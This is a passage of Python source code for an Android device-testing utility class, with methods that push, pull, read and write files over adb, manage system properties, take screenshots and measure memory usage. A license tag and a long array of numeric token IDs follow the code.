present; attempt to get rid of it. # Not all dialogs can be dismissed with back. self.SendKeyEvent(keyevent.KEYCODE_ENTER) self.SendKeyEvent(keyevent.KEYCODE_BACK) return is_launcher_focused() # If Home is already focused, return early to avoid unnecessary work. if is_launcher_focused(): return self.StartActivity( intent.Intent(action='android.intent.action.MAIN', category='android.intent.category.HOME'), blocking=True) if not is_launcher_focused(): timeout_retry.WaitFor(dismiss_popups, wait_period=1) @decorators.WithTimeoutAndRetriesFromInstance() def ForceStop(self, package, timeout=None, retries=None): """Close the application. Args: package: A string containing the name of the package to stop. timeout: timeout in seconds retries: number of retries Raises: CommandTimeoutError on timeout. DeviceUnreachableError on missing device. """ self.RunShellCommand(['am', 'force-stop', package], check_return=True) @decorators.WithTimeoutAndRetriesFromInstance() def ClearApplicationState(self, package, timeout=None, retries=None): """Clear all state for the given package. Args: package: A string containing the name of the package to stop. timeout: timeout in seconds retries: number of retries Raises: CommandTimeoutError on timeout. DeviceUnreachableError on missing device. """ # Check that the package exists before clearing it for android builds below # JB MR2. Necessary because calling pm clear on a package that doesn't exist # may never return. if ((self.build_version_sdk >= constants.ANDROID_SDK_VERSION_CODES.JELLY_BEAN_MR2) or self.GetApplicationPaths(package)): self.RunShellCommand(['pm', 'clear', package], check_return=True) @decorators.WithTimeoutAndRetriesFromInstance() def SendKeyEvent(self, keycode, timeout=None, retries=None): """Sends a keycode to the device. See the pylib.constants.keyevent module for suitable keycode values. Args: keycode: A integer keycode to send to the device. timeout: timeout in seconds retries: number of retries Raises: CommandTimeoutError on timeout. DeviceUnreachableError on missing device. """ self.RunShellCommand(['input', 'keyevent', format(keycode, 'd')], check_return=True) PUSH_CHANGED_FILES_DEFAULT_TIMEOUT = 10 * _DEFAULT_TIMEOUT PUSH_CHANGED_FILES_DEFAULT_RETRIES = _DEFAULT_RETRIES @decorators.WithTimeoutAndRetriesDefaults( PUSH_CHANGED_FILES_DEFAULT_TIMEOUT, PUSH_CHANGED_FILES_DEFAULT_RETRIES) def PushChangedFiles(self, host_device_tuples, timeout=None, retries=None, delete_device_stale=False): """Push files to the device, skipping files that don't need updating. When a directory is pushed, it is traversed recursively on the host and all files in it are pushed to the device as needed. Additionally, if delete_device_stale option is True, files that exist on the device but don't exist on the host are deleted. Args: host_device_tuples: A list of (host_path, device_path) tuples, where |host_path| is an absolute path of a file or directory on the host that should be minimially pushed to the device, and |device_path| is an absolute path of the destination on the device. timeout: timeout in seconds retries: number of retries delete_device_stale: option to delete stale files on device Raises: CommandFailedError on failure. CommandTimeoutError on timeout. DeviceUnreachableError on missing device. """ all_changed_files = [] all_stale_files = [] for h, d in host_device_tuples: if os.path.isdir(h): self.RunShellCommand(['mkdir', '-p', d], check_return=True) changed_files, stale_files = ( self._GetChangedAndStaleFiles(h, d, delete_device_stale)) all_changed_files += changed_files all_stale_files += stale_files if delete_device_stale: self.RunShellCommand(['rm', '-f'] + all_stale_files, check_return=True) if not all_changed_files: return self._PushFilesImpl(host_device_tuples, all_changed_files) def _GetChangedAndStaleFiles(self, host_path, device_path, track_stale=False): """Get files to push and delete Args: host_path: an absolute path of a file or directory on the host device_path: an absolute path of a file or directory on the device track_stale: whether to bother looking for stale files (slower) Returns: a two-element tuple 1st element: a list of (host_files_path, device_files_path) tuples to push 2nd element: a list of stale files under device_path, or [] when track_stale == False """ real_host_path = os.path.realpath(host_path) try: real_device_path = self.RunShellCommand( ['realpath', device_path], single_line=True, check_return=True) except device_errors.CommandFailedError: real_device_path = None if not real_device_path: return ([(host_path, device_path)], []) try: host_checksums = md5sum.CalculateHostMd5Sums([real_host_path]) interesting_device_paths = [real_device_path] if not track_stale and os.path.isdir(real_host_path): interesting_device_paths = [ posixpath.join(real_device_path, os.path.relpath(p, real_host_path)) for p in host_checksums.keys()] device_checksums = md5sum.CalculateDeviceMd5Sums( interesting_device_paths, self) except EnvironmentError as e: logging.warning('Error calculating md5: %s', e) return ([(host_path, device_path)], []) if os.path.isfile(host_path): host_checksum = host_checksums.get(real_host_path) device_checksum = device_checksums.get(real_device_path) if host_checksum != device_checksum: return ([(host_path, device_path)], []) else: return ([], []) else: to_push = [] for host_abs_path, host_checksum in host_checksums.iteritems(): device_abs_path = '%s/%s' % ( real_device_path, os.path.relpath(host_abs_path, real_host_path)) device_checksum = device_checksums.pop(device_abs_path, None) if device_checksum != host_checksum: to_push.append((host_abs_path, device_abs_path)) to_delete = device_checksums.keys() return (to_push, to_delete) def _PushFilesImpl(self, host_device_tuples, files): size = sum(host_utils.GetRecursiveDiskUsage(h) for h, _ in files) file_count = len(files) dir_size = sum(host_utils.GetRecursiveDiskUsage(h) for h, _ in host_device_tuples) dir_file_count = 0 for h, _ in host_device_tuples: if os.path.isdir(h): dir_file_count += sum(len(f) for _r, _d, f in os.walk(h)) else: dir_file_count += 1 push_duration = self._ApproximateDuration( file_count, file_count, size, False) dir_push_duration = self._ApproximateDuration( len(host_device_tuples), dir_file_count, dir_size, False) zip_duration = self._ApproximateDuration(1, 1, size, True) self._InstallCommands() if dir_push_duration < push_duration and ( dir_push_duration < zip_duration or not self._commands_installed): self._PushChangedFilesIndividually(host_device_tuples) elif push_duration < zip_duration or not self._commands_installed: self._PushChangedFilesIndividually(files) else: self._PushChangedFilesZipped(files) self.RunShellCommand( ['chmod', '-R', '777'] + [d for _, d in host_device_tuples], as_root=True, check_return=True) def _InstallCommands(self): if self._commands_installed is None: try: if not install_commands.Installed(self): install_commands.InstallCommands(self) self._commands_installed = True except Exception as e: logging.warning('unzip not available: %s' % str(e)) self._commands_installed = False @staticmethod def _ApproximateDuration(adb_calls, file_count, byte_count, is_zipping): # We approximate the time to push a set of files to a device as: # t = c1 * a + c2 * f + c3 + b / c4 + b / (c5 * c6), where # t: total time (sec) # c1: adb call time delay (sec) # a: number of times adb is called (unitless) # c2: push time delay (sec) # f: number of files pushed via adb (unitless) # c3: zip time delay (sec) # c4: zip rate (bytes/sec) # b: total number of bytes (bytes) # c5: transfer rate (bytes/sec) # c6: compression ratio (unitless) # All of these are approximations. ADB_CALL_PENALTY = 0.1 # seconds ADB_PUSH_PENALTY = 0.01 # seconds ZIP_PENALTY = 2.0 # seconds ZIP_RATE = 10000000.0 # bytes / second TRANSFER_RATE = 2000000.0 # bytes / second COMPRESSION_RATIO = 2.0 # unitless adb_call_time = ADB_CALL_PENALTY * adb_calls adb_push_setup_time = ADB_PUSH_PENALTY * file_count if is_zipping: zip_time = ZIP_PENALTY + byte_count / ZIP_RATE transfer_time = byte_count / (TRANSFER_RATE * COMPRESSION_RATIO) else: zip_time = 0 transfer_time = byte_count / TRANSFER_RATE return adb_call_time + adb_push_setup_time + zip_time + transfer_time def _PushChangedFilesIndividually(self, files): for h, d in files: self.adb.Push(h, d) def _PushChangedFilesZipped(self, files): if not files: return with tempfile.NamedTemporaryFile(suffix='.zip') as zip_file: zip_proc = multiprocessing.Process( target=DeviceUtils._CreateDeviceZip, args=(zip_file.name, files)) zip_proc.start() zip_proc.join() zip_on_device = '%s/tmp.zip' % self.GetExternalStoragePath() try: self.adb.Push(zip_file.name, zip_on_device) self.RunShellCommand( ['unzip', zip_on_device], as_root=True, env={'PATH': '%s:$PATH' % install_commands.BIN_DIR}, check_return=True) finally: if zip_proc.is_alive(): zip_proc.terminate() if self.IsOnline(): self.RunShellCommand(['rm', zip_on_device], check_return=True) @staticmethod def _CreateDeviceZip(zip_path, host_device_tuples): with zipfile.ZipFile(zip_path, 'w') as zip_file: for host_path, device_path in host_device_tuples: zip_utils.WriteToZipFile(zip_file, host_path, device_path) @decorators.WithTimeoutAndRetriesFromInstance() def FileExists(self, device_path, timeout=None, retries=None): """Checks whether the given file exists on the device. Args: device_path: A string containing the absolute path to the file on the device. timeout: timeout in seconds retries: number of retries Returns: True if the file exists on the device, False otherwise. Raises: CommandTimeoutError on timeout. DeviceUnreachableError on missing device. """ try: self.RunShellCommand(['test', '-e', device_path], check_return=True) return True except device_errors.AdbCommandFailedError: return False @decorators.WithTimeoutAndRetriesFromInstance() def PullFile(self, device_path, host_path, timeout=None, retries=None): """Pull a file from the device. Args: device_path: A string containing the absolute path of the file to pull from the device. host_path: A string containing the absolute path of the destination on the host. timeout: timeout in seconds retries: number of retries Raises: CommandFailedError on failure. CommandTimeoutError on timeout. """ # Create the base dir if it doesn't exist already dirname = os.path.dirname(host_path) if dirname and not os.path.exists(dirname): os.makedirs(dirname) self.adb.Pull(device_path, host_path) def _ReadFileWithPull(self, device_path): try: d = tempfile.mkdtemp() host_temp_path = os.path.join(d, 'tmp_ReadFileWithPull') self.adb.Pull(device_path, host_temp_path) with open(host_temp_path, 'r') as host_temp: return host_temp.read() finally: if os.path.exists(d): shutil.rmtree(d) _LS_RE = re.compile( r'(?P<perms>\S+) +(?P<owner>\S+) +(?P<group>\S+) +(?:(?P<size>\d+) +)?' + r'(?P<date>\S+) +(?P<time>\S+) +(?P<name>.+)$') @decorators.WithTimeoutAndRetriesFromInstance() def ReadFile(self, device_path, as_root=False, force_pull=False, timeout=None, retries=None): """Reads the contents of a file from the device. Args: device_path: A string containing the absolute path of the file to read from the device. as_root: A boolean indicating whether the read should be executed with root privileges. force_pull: A boolean indicating whether to force the operation to be performed by pulling a file from the device. The default is, when the contents are short, to retrieve the contents using cat instead. timeout: timeout in seconds retries: number of retries Returns: The contents of |device_path| as a string. Contents are intepreted using universal newlines, so the caller will see them encoded as '\n'. Also, all lines will be terminated. Raises: AdbCommandFailedError if the file can't be read. CommandTimeoutError on timeout. DeviceUnreachableError on missing device. """ def get_size(path): # TODO(jbudorick): Implement a generic version of Stat() that handles # as_root=True, then switch this implementation to use that. ls_out = self.RunShellCommand(['ls', '-l', device_path], as_root=as_root, check_return=True) for line in ls_out: m = self._LS_RE.match(line) if m and m.group('name') == posixpath.basename(device_path): return int(m.group('size')) logging.warning('Could not determine size of %s.', device_path) return None if (not force_pull and 0 < get_size(device_path) <= self._MAX_ADB_OUTPUT_LENGTH): return _JoinLines(self.RunShellCommand( ['cat', device_path], as_root=as_root, check_return=True)) elif as_root and self.NeedsSU(): with device_temp_file.DeviceTempFile(self.adb) as device_temp: self.RunShellCommand(['cp', device_path, device_temp.name], as_root=True, check_return=True) return self._ReadFileWithPull(device_temp.name) else: return self._ReadFileWithPull(device_path) def _WriteFileWithPush(self, device_path, contents): with tempfile.NamedTemporaryFile() as host_temp: host_temp.write(contents) host_temp.flush() self.adb.Push(host_temp.name, device_path) @decorators.WithTimeoutAndRetriesFromInstance() def WriteFile(self, device_path, contents, as_root=False, force_push=False, timeout=None, retries=None): """Writes |contents| to a file on the device. Args: device_path: A string containing the absolute path to the file to write on the device. contents: A string containing the data to write to the device. as_root: A boolean indicating whether the write should be executed with root privileges (if available). force_push: A boolean indicating whether to force the operation to be performed by pushing a file to the device. The default is, when the contents are short, to pass the contents using a shell script instead. timeout: timeout in seconds retries: number of retries Raises: CommandFailedError if the file could not be written on the device. CommandTimeoutError on timeout. DeviceUnreachableError on missing device. """ if not force_push and len(contents) < self._MAX_ADB_COMMAND_LENGTH: # If the contents are small, for efficieny we write the contents with # a shell command rather than pushing a file. cmd = 'echo -n %s > %s' % (cmd_helper.SingleQuote(contents), cmd_helper.SingleQuote(device_path)) self.RunShellCommand(cmd, as_root=as_root, check_return=True) elif as_root and self.NeedsSU(): # Adb does not allow to "push with su", so we first push to a temp file # on a safe location, and then copy it to the desired location with su. with device_temp_file.DeviceTempFile(self.adb) as device_temp: self._WriteFileWithPush(device_temp.name, contents) # Here we need 'cp' rather than 'mv' because the temp and # destination files might be on different file systems (e.g. # on internal storage and an external sd card). self.RunShellCommand(['cp', device_temp.name, device_path], as_root=True, check_return=True) else: # If root is not needed, we can push directly to the desired location. self._WriteFileWithPush(device_path, contents) @decorators.WithTimeoutAndRetriesFromInstance() def Ls(self, device_path, timeout=None, retries=None): """Lists the contents of a directory on the device. Args: device_path: A string containing the path of the directory on the device to list. timeout: timeout in seconds retries: number of retries Returns: A list of pairs (filename, stat) for each file found in the directory, where the stat object has the properties: st_mode, st_size, and st_time. Raises: AdbCommandFailedError if |device_path| does not specify a valid and accessible directory in the device. CommandTimeoutError on timeout. DeviceUnreachableError on missing device. """ return self.adb.Ls(device_path) @decorators.WithTimeoutAndRetriesFromInstance() def Stat(self, device_path, timeout=None, retries=None): """Get the stat attributes of a file or directory on the device. Args: device_path: A string containing the path of from which to get attributes on the device. timeout: timeout in seconds retries: number of retries Returns: A stat object with the properties: st_mode, st_size, and st_time Raises: CommandFailedError if device_path cannot be found on the device. CommandTimeoutError on timeout. DeviceUnreachableError on missing device. """ dirname, target = device_path.rsplit('/', 1) for filename, stat in self.adb.Ls(dirname): if filename == target: return stat raise device_errors.CommandFailedError( 'Cannot find file or directory: %r' % device_path, str(self)) @decorators.WithTimeoutAndRetriesFromInstance() def SetJavaAsserts(self, enabled, timeout=None, retries=None): """Enables or disables Java asserts. Args: enabled: A boolean indicating whether Java asserts should be enabled or disabled. timeout: timeout in seconds retries: number of retries Returns: True if the device-side property changed and a restart is required as a result, False otherwise. Raises: CommandTimeoutError on timeout. """ def find_property(lines, property_name): for index, line in enumerate(lines): if line.strip() == '': continue key, value = (s.strip() for s in line.split('=', 1)) if key == property_name: return index, value return None, '' new_value = 'all' if enabled else '' # First ensure the desired property is persisted. try: properties = self.ReadFile( constants.DEVICE_LOCAL_PROPERTIES_PATH).splitlines() except device_errors.CommandFailedError: properties = [] index, value = find_property(properties, self.JAVA_ASSERT_PROPERTY) if new_value != value: if new_value: new_line = '%s=%s' % (self.JAVA_ASSERT_PROPERTY, new_value) if index is None: properties.append(new_line) else: properties[index] = new_line else: assert index is not None # since new_value == '' and new_value != value properties.pop(index) self.WriteFile(constants.DEVICE_LOCAL_PROPERTIES_PATH, _JoinLines(properties)) # Next, check the current runtime value is what we need, and # if not, set it and report that a reboot is required. value = self.GetProp(self.JAVA_ASSERT_PROPERTY) if new_value != value: self.SetProp(self.JAVA_ASSERT_PROPERTY, new_value) return True else: return False @property def language(self): """Returns the language setting on the device.""" return self.GetProp('persist.sys.language', cache=False) @property def country(self): """Returns the country setting on the device.""" return self.GetProp('persist.sys.country', cache=False) @property def screen_density(self): """Returns the screen density of the device.""" DPI_TO_DENSITY = { 120: 'ldpi', 160: 'mdpi', 240: 'hdpi', 320: 'xhdpi', 480: 'xxhdpi', 640: 'xxxhdpi', } dpi = int(self.GetProp('ro.sf.lcd_density', cache=True)) return DPI_TO_DENSITY.get(dpi, 'tvdpi') @property def build_description(self): """Returns the build description of the system. For example: nakasi-user 4.4.4 KTU84P 1227136 release-keys """ return self.GetProp('ro.build.description', cache=True) @property def build_fingerprint(self): """Returns the build fingerprint of the system. For example: google/nakasi/grouper:4.4.4/KTU84P/1227136:user/release-keys """ return self.GetProp('ro.build.fingerprint', cache=True) @property def build_id(self): """Returns the build ID of the system (e.g. 'KTU84P').""" return self.GetProp('ro.build.id', cache=True) @property def build_product(self): """Returns the build product of the system (e.g. 'grouper').""" return self.GetProp('ro.build.product', cache=True) @property def build_type(self): """Returns the build type of the system (e.g. 'user').""" return self.GetProp('ro.build.type', cache=True) @property def build_version_sdk(self): """Returns the build version sdk of the system as a number (e.g. 19). For version code numbers see: http://developer.android.com/reference/android/os/Build.VERSION_CODES.html For named constants see: pylib.constants.ANDROID_SDK_VERSION_CODES Raises: CommandFailedError if the build version sdk is not a number. """ value = self.GetProp('ro.build.version.sdk', cache=True) try: return int(value) except ValueError: raise device_errors.CommandFailedError( 'Invalid build version sdk: %r' % value) @property def product_cpu_abi(self): """Returns the product cpu abi of the device (e.g. 'armeabi-v7a').""" return self.GetProp('ro.product.cpu.abi', cache=True) @property def product_model(self): """Returns the name of the product model (e.g. 'Nexus 7').""" return self.GetProp('ro.product.model', cache=True) @property def product_name(self): """Returns the product name of the device (e.g. 'nakasi').""" return self.GetProp('ro.product.name', cache=True) def GetProp(self, property_name, cache=False, timeout=DEFAULT, retries=DEFAULT): """Gets a property from the device. Args: property_name: A string containing the name of the property to get from the device. cache: A boolean indicating whether to cache the value of this property. timeout: timeout in seconds retries: number of retries Returns: The value of the device's |property_name| property. Raises: CommandTimeoutError on timeout. """ assert isinstance(property_name, basestring), ( "property_name is not a string: %r" % property_name) cache_key = '_prop:' + property_name if cache and cache_key in self._cache: return self._cache[cache_key] else: # timeout and retries are handled down at run shell, because we don't # want to apply them in the other branch when reading from the cache value = self.RunShellCommand( ['getprop', property_name], single_line=True, check_return=True, timeout=self._default_timeout if timeout is DEFAULT else timeout, retries=self._default_retries if retries is DEFAULT else retries) if cache or cache_key in self._cache: self._cache[cache_key] = value return value @decorators.WithTimeoutAndRetriesFromInstance() def SetProp(self, property_name, value, check=False, timeout=None, retries=None): """Sets a property on the device. Args: property_name: A string containing the name of the property to set on the device. value: A string containing the value to set to the property on the device. check: A boolean indicating whether to check that the property was successfully set on the device. timeout: timeout in seconds retries: number of retries Raises: CommandFailedError if check is true and the property was not correctly set on the device (e.g. because it is not rooted). CommandTimeoutError on timeout. """ assert isinstance(property_name, basestring), ( "property_name is not a string: %r" % property_name) assert isinstance(value, basestring), "value is not a string: %r" % value self.RunShellCommand(['setprop', property_name, value], check_return=True) if property_name in self._cache: del self._cache[property_name] # TODO(perezju) remove the option and make the check mandatory, but using a # single shell script to both set- and getprop. if check and value != self.GetProp(property_name): raise device_errors.CommandFailedError( 'Unable to set property %r on the device to %r' % (property_name, value), str(self)) @decorators.WithTimeoutAndRetriesFromInstance() def GetABI(self, timeout=None, retries=None): """Gets the device main ABI. Args: timeout: timeout in seconds retries: number of retries Returns: The device's main ABI name. Raises: CommandTimeoutError on timeout. """ return self.GetProp('ro.product.cpu.abi') @decorators.WithTimeoutAndRetriesFromInstance() def GetPids(self, process_name, timeout=None, retries=None): """Returns the PIDs of processes with the given name. Note that the |process_name| is often the package name. Args: process_name: A string containing the process name to get the PIDs for. timeout: timeout in seconds retries: number of retries Returns: A dict mapping process name to PID for each process that contained the provided |process_name|. Raises: CommandTimeoutError on timeout. DeviceUnreachableError on missing device. """ procs_pids = {} try: ps_output = self._RunPipedShellCommand( 'ps | grep -F %s' % cmd_helper.SingleQuote(process_name)) except device_errors.AdbShellCommandFailedError as e: if e.status and isinstance(e.status, list) and not e.status[0]: # If ps succeeded but grep failed, there were no processes with the # given name. return procs_pids else: raise for line in ps_output: try: ps_data = line.split() if process_name in ps_data[-1]: procs_pids[ps_data[-1]] = ps_data[1] except IndexError: pass return procs_pids @decorators.WithTimeoutAndRetriesFromInstance() def TakeScreenshot(self, host_path=None, timeout=None, retries=None): """Takes a screenshot of the device. Args: host_path: A string containing the path on the host to save the screenshot to. If None, a file name in the current directory will be generated. timeout: timeout in seconds retries: number of retries Returns: The name of the file on the host to which the screenshot was saved. Raises: CommandFailedError on failure. CommandTimeoutError on timeout. DeviceUnreachableError on missing device. """ if not host_path: host_path = os.path.abspath('screenshot-%s.png' % _GetTimeStamp()) with device_temp_file.DeviceTempFile(self.adb, suffix='.png') as device_tmp: self.RunShellCommand(['/system/bin/screencap', '-p', device_tmp.name], check_return=True) self.PullFile(device_tmp.name, host_path) return host_path @decorators.WithTimeoutAndRetriesFromInstance() def GetMemoryUsageForPid(self, pid, timeout=None, retries=None): """Gets the memory usage for the given PID. Args: pid: PID of the process. timeout: timeout in seconds retries: number of retries Returns: A dict containing memory usage statistics for the PID. May include: Size, Rss, Pss, Shared_Clean, Shared_Dirty, Private_Clean, Private_Dirty, VmHWM Raises: CommandTimeoutError on timeout. """ result = collections.defaultdict(int) try: result.update(self._GetMemoryUsageForPidFromSmaps(pid)) except device_errors.CommandFailedError: logging.exception('Error getting memory usage from smaps') try: result.update(self._GetMemoryUsageForPidFromStatus(pid)) except device_errors.CommandFailedError: logging.exception('Error getting memory usage from status') return result def _GetMemoryUsageForPidFromSmaps(self, pid): SMAPS_COLUMNS = ( 'Size', 'Rss', 'Pss', 'Shared_Clean', 'Shared_Dirty', 'Private_Clean', 'Private_Dirty') showmap_out = self._RunPipedShellCommand( 'showmap %d | grep TOTAL' % int(pid), as_root=True) split_totals = showmap_out[-1].split() if (not split_totals or len(split_totals) != 9 or split_totals[-1] != 'TOTAL'): raise device_errors.CommandFailedError( 'Invalid output from showmap: %s' % '\n'.join(showmap_out)) return dict(itertools.izip(SMAPS_COLUMNS, (int(n) for n in split_totals))) def _GetMemoryUsageForPidFromStatus(self, pid): for line in self.ReadFile( '/proc/%s/status' % str(pid), as_root=True).splitlines(): if line.startswith('VmHWM:'): return {'VmHWM': int(line.split()[1])} else: raise device_errors.CommandFailedError( 'Could not find memory peak value for pid %s', str(pid)) @decorators.WithTimeoutAndRetriesFromInstance() def GetLogcatMonitor(self, timeout=None, retries=None, *args, **kwargs): """Returns a new LogcatMonitor associated with this device. Parameters passed to this function are passed directly to |logcat_monitor.LogcatMonitor| and are documented there. Args: timeout: timeout in seconds retries: number of retries """ return logcat_monitor.LogcatMonitor(self.adb, *args, **kwargs) def GetClientCache(self, client_name): """Returns client cache.""" if client_name not in self._client_caches: self._client_caches[client_name] = {} return self._client_caches[client_name] def _ClearCache(self): """Clears all caches.""" for client in self._client_caches: self._client_caches[client].clear() self._cache.clear() @classmethod def parallel(cls, devices=None, async=False): """Creates a Parallelizer to operate over the provided list of devices. If |devices| is either |None| or an empty list, the Parallelizer will operate over all attached devices that have not been blacklisted. Args: devices: A list of either DeviceUtils instances or objects from from which DeviceUtils instances can be constructed. If None, all attached devices will be used. async: If true, returns a Parallelizer that runs operations asynchronously. Returns: A Parallelizer operating over |devices|. """ if not devices: devices = cls.HealthyDevices() if not devices: raise device_errors.NoDevicesError() devices = [d if isinstance(d, cls) else cls(d) for d in devices] if async: return parallelizer.Parallelizer(devices) else: return parallelizer.SyncParallelizer(devices) @classmethod def HealthyDevices(cls): blacklist = device_blacklist.ReadBlacklist() def blacklisted(adb): if adb.GetDeviceSerial() in blacklist: logging.warning('Device %s is blacklisted.', adb.GetDeviceSerial()) return True return False return [cls(adb) for adb in adb_wrapper.AdbWrapper.Devices() if not blacklisted(adb)]
bsd-3-clause
[ 3, 1898, 6927, 710, 12051, 6642, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 624, 17473, 282, 32246, 402, 2243, 315, 22990, 4079, 641, 28173, 14, 199, 199, 2390, 3163, 12, 642, 911, 506, 4079, 641, 28173, 63, 5029, 14, 199, 624, 199, 3, 4287, 26, 3507, 29, 8618, 13, 2094, 199, 199, 646, 5055, 199, 646, 15502, 199, 646, 7975, 199, 646, 2050, 199, 646, 12866, 199, 646, 747, 199, 646, 15454, 199, 646, 295, 199, 646, 5145, 199, 646, 984, 199, 646, 5549, 199, 646, 900, 199, 646, 10392, 199, 199, 646, 29219, 14, 6238, 63, 4405, 199, 504, 29219, 492, 2088, 63, 3676, 199, 504, 29219, 492, 5262, 199, 504, 29219, 492, 2243, 63, 4653, 199, 504, 29219, 14, 5559, 492, 790, 1430, 199, 504, 29219, 14, 1782, 492, 28173, 63, 5029, 199, 504, 29219, 14, 1782, 492, 20419, 199, 504, 29219, 14, 1782, 492, 2243, 63, 22126, 199, 504, 29219, 14, 1782, 492, 2243, 63, 2550, 199, 504, 29219, 14, 1782, 492, 21020, 199, 504, 29219, 14, 1782, 492, 943, 3385, 63, 7157, 199, 504, 29219, 14, 1782, 14, 4405, 492, 3907, 63, 4405, 199, 504, 29219, 14, 9277, 492, 3715, 63, 2416, 199, 504, 29219, 14, 1208, 492, 31528, 63, 3676, 199, 504, 29219, 14, 1208, 492, 1300, 63, 705, 199, 504, 29219, 14, 1208, 492, 2243, 63, 808, 63, 493, 199, 504, 29219, 14, 1208, 492, 1591, 63, 1208, 199, 504, 29219, 14, 1208, 492, 6128, 21, 1838, 199, 504, 29219, 14, 1208, 492, 30042, 28952, 199, 504, 29219, 14, 1208, 492, 2653, 63, 7154, 199, 504, 29219, 14, 1208, 492, 3482, 63, 1208, 199, 199, 63, 3472, 63, 8899, 275, 4233, 199, 63, 3472, 63, 32528, 275, 650, 199, 199, 3, 437, 13792, 909, 367, 849, 1338, 199, 3, 3254, 8, 74, 464, 68, 269, 2000, 12, 321, 25409, 27764, 304, 295, 5427, 4212, 849, 1338, 787, 8860, 701, 199, 3, 314, 2653, 63, 7154, 20419, 14, 199, 3472, 275, 909, 342, 199, 199, 63, 13060, 63, 5901, 39, 1206, 63, 28442, 275, 359, 523, 469, 272, 327, 653, 476, 527, 841, 272, 283, 22179, 63, 493, 356, 1994, 1274, 15, 578, 15, 7073, 1407, 2025, 63, 1560, 836, 15, 3214, 15, 7011, 297, 272, 283, 4296, 63, 1531, 356, 283, 7878, 378, 690, 1182, 1274, 15, 578, 15, 7073, 1407, 2025, 63, 1560, 836, 15, 3214, 15, 7011, 297, 272, 283, 5993, 63, 1531, 356, 267, 283, 7878, 413, 690, 1182, 1274, 15, 578, 15, 7073, 1407, 2025, 63, 1560, 836, 15, 3214, 15, 7011, 297, 523, 1660, 523, 469, 272, 327, 653, 476, 527, 959, 272, 327, 13510, 314, 869, 5357, 4546, 402, 314, 330, 81, 1194, 5756, 14486, 314, 1495, 836, 370, 5965, 3686, 272, 327, 12304, 17262, 687, 28655, 14, 13510, 314, 7074, 63, 8621, 590, 26302, 2951, 7029, 314, 272, 327, 14694, 2656, 370, 16806, 626, 14, 272, 283, 22179, 63, 493, 356, 1994, 1274, 15, 4989, 15, 1757, 15, 23907, 1194, 5756, 15, 7321, 63, 12447, 63, 5801, 297, 272, 283, 4296, 63, 1531, 356, 334, 267, 283, 7878, 378, 88, 20, 33, 690, 1182, 1274, 15, 4989, 15, 1757, 15, 23907, 1194, 5756, 15, 7321, 63, 12447, 63, 5801, 10883, 283, 267, 283, 7878, 413, 690, 1182, 1274, 15, 533, 15, 5652, 63, 8621, 590, 15, 17411, 15, 15178, 659, 272, 283, 5993, 63, 1531, 356, 334, 267, 283, 7878, 378, 88, 3263, 690, 1182, 1274, 15, 4989, 15, 1757, 15, 23907, 1194, 5756, 15, 7321, 63, 12447, 63, 5801, 10883, 283, 267, 283, 11693, 5049, 20, 1182, 1274, 15, 533, 15, 5652, 63, 8621, 590, 15, 17411, 15, 15178, 10883, 283, 267, 283, 7878, 378, 690, 1182, 1274, 15, 533, 15, 5652, 63, 8621, 590, 15, 17411, 15, 15178, 659, 523, 1660, 199, 61, 421, 199, 32, 11582, 14, 3007, 26090, 6372, 3325, 32720, 8, 272, 485, 3472, 63, 8899, 12, 485, 3472, 63, 32528, 9, 199, 318, 2372, 6087, 26606, 837, 523, 408, 3407, 282, 769, 402, 14694, 13311, 12272, 83, 14, 819, 1803, 26, 272, 437, 769, 3035, 314, 7526, 437, 26197, 83, 14, 523, 408, 523, 2385, 275, 2088, 63, 3676, 14, 1002, 7874, 2959, 779, 489, 747, 14, 515, 14, 904, 8, 5559, 14, 25658, 63, 14939, 63, 5441, 12, 283, 2537, 297, 283, 6238, 659, 489, 283, 513, 297, 283, 1214, 68, 13227, 7644, 342, 523, 2289, 795, 275, 942, 523, 367, 1004, 315, 2385, 26, 272, 340, 283, 985, 4881, 440, 315, 1004, 26, 489, 1980, 272, 790, 12, 574, 275, 334, 83, 14, 1913, 342, 367, 308, 315, 1004, 14, 1294, 16451, 413, 430, 272, 340, 790, 508, 283, 985, 356, 489, 2289, 795, 14, 740, 8, 585, 9, 523, 372, 2289, 795, 421, 199, 32, 11582, 14, 3007, 26090, 6372, 3325, 32720, 8, 272, 485, 3472, 63, 8899, 12, 485, 3472, 63, 32528, 9, 199, 318, 799, 928, 3120, 837, 523, 408, 497, 17116, 314, 28173, 1654, 14, 819, 6218, 26, 272, 5817, 4276, 547, 340, 781, 2449, 370, 14561, 503, 11004, 314, 1654, 14, 523, 408, 523, 347, 28173, 63, 75, 14535, 837, 272, 372, 440, 28173, 63, 5029, 14, 33, 697, 4590, 14, 1831, 3120, 28587, 342, 819, 347, 28173, 63, 8924, 837, 272, 372, 28173, 63, 5029, 14, 33, 697, 4590, 14, 1831, 3120, 28587, 342, 819, 28173, 63, 5029, 14, 33, 697, 4590, 14, 31464, 3120, 342, 523, 340, 440, 2653, 63, 7154, 14, 21433, 8, 13741, 63, 75, 14535, 12, 3618, 63, 5191, 29, 17, 12, 1390, 63, 6264, 29, 21, 304, 272, 327, 3254, 8, 321, 25409, 27764, 304, 746, 376, 1919, 2410, 5325, 2753, 1455, 921, 1556, 1266, 14, 957, 15, 1602, 1789, 1167, 272, 2050, 14, 3764, 360, 4276, 370, 14561, 28173, 1654, 358, 523, 28173, 63, 5029, 14, 33, 697, 4590, 14, 3162, 3120, 342, 523, 340, 440, 2653, 63, 7154, 14, 21433, 8, 13741, 63, 8924, 12, 3618, 63, 5191, 29, 17, 12, 1390, 63, 6264, 29, 21, 304, 272, 746, 2243, 63, 2550, 14, 3110 ]
